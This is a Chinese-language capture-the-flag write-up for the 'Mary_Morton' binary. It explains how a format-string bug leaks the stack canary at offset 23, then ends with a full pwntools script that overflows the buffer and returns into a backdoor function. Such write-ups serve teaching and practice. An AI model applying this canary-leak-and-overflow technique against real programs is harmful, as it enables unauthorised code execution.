checksec一下:
包含Canary,使用ida 64逆向:
进入sub_4009DA查看:
根据提示,本题中应该包含两个漏洞点,1.栈溢出 2.格式化字符串漏洞 ,由于包含Canary,先进入2函数:
先read进buf字符串,再printf,此处包含一个格式化字符串漏洞
进入1进行函数查看:
最后还有一个后门函数:
推测:首先利用格式化字符串进行Canary暴露,然后进行栈溢出漏洞,进而执行后门函数
先对格式化字符串进行字符串偏移量的查找:
如图所示,出来的61616161在第六个位置,即6个偏移量
再看buf中var_8,即canary的位置,本身它离栈顶位置就有:0x90-8=0x88
而64位程序一个字节位8bit,偏移量为:0x88/8=17
再加上6个偏移量,即23个偏移量位置就是canary
可以构造第一次输入:%23$p进行canary值的获取
当获取canary时,第二次用栈溢出方式进行溢出至后台函数:
from pwn import *
io = process("./Mary_Morton")
io.recvuntil("3. Exit the battle ")
io.sendline("2")
io.sendline("%23$p")
io.recvuntil("0x")
canary=int(io.recv(16),16)
sys_addr = 0x4008DA
payload = b'A'*0x88 + p64(canary) + b'B'*0x8 + p64(sys_addr)
io.recvuntil("3. Exit the battle ")
io.sendline("1")
io.sendline(payload)
io.interactive()